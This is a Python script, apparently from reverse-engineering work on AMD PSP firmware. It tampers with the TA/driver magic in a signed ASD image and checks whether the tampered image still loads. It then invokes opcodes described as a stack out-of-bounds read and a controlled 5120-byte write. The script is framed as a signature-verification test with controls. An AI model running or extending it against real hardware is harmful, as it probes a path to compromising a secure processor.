1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
"""Is the TA/driver magic at image_header+0x14 covered by the signature?
ASD is 'DR' (driver) and therefore not invokable via INVOKE_CMD (psp_status 4).
If flipping it to 'AT' still loads, the host can promote a driver to a TA and
directly invoke ASD -- which would make asd_hdcp2_op_1AA (unbounded 5*N stack
OOB read) and asd 0x301 (5120-byte controlled write) host-reachable.
Expected safe behaviour: signature verification rejects the tampered image.
Control: an untampered load must succeed, so a rejection is attributable to the
tamper and not to the harness.
"""
import ctypes,struct,sys
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32,hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); P='/Users/user/dev/amd-psp-re/psp_out/'; S=0x8000
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(S)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=S
try: return psp._ring_submit(c).resp.session_id, cp, 0
except RuntimeError: return None, cp, stat()
def inv(sid,shm,frame0,tc):
b=bytearray(S); struct.pack_into('<I',b,0,frame0)
adev.vram.view(shm,S)[:]=bytes(b); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=sid,tc
try: psp._ring_submit(ic); return 0
except RuntimeError: return stat()
except TimeoutError: return "TIMEOUT"
asd=bytearray(open(P+'asd_full.bin','rb').read())
hdcp=open(P+'hdcp_full.bin','rb').read()
print("CONTROL: untampered HDCP ('AT') load ->", end=" ")
sid,shm,err=load(am.GFX_CMD_ID_LOAD_TA,hdcp); print("sid=%s err=%s"%(sid,err))
print("CONTROL: untampered ASD ('DR') load ->", end=" ")
sid0,shm0,err0=load(am.GFX_CMD_ID_LOAD_ASD,bytes(asd)); print("sid=%s err=%s invoke(0x300)->%s"%(sid0,err0,inv(sid0,shm0,0x300,0x300) if sid0 is not None else '-'))
print("\nmagic at file+0x114 = %#06x ('DR')"%struct.unpack_from('<H',asd,0x114)[0])
t=bytearray(asd); struct.pack_into('<H',t,0x114,0x4154) # 'DR' -> 'AT'
for nm,cid in (("LOAD_TA(1)",am.GFX_CMD_ID_LOAD_TA),("LOAD_ASD(4)",am.GFX_CMD_ID_LOAD_ASD)):
sid,shm,err=load(cid,bytes(t))
print("TAMPERED 'AT' via %-12s -> sid=%s load_status=%s"%(nm,sid,hex(err) if err else 0))
if sid is not None:
for op in (0x300,0x1AA,0x301):
print(" invoke opcode %#06x -> psp_status %s"%(op,inv(sid,shm,op,op)))
print("\nsos_alive:",psp.is_sos_alive())
|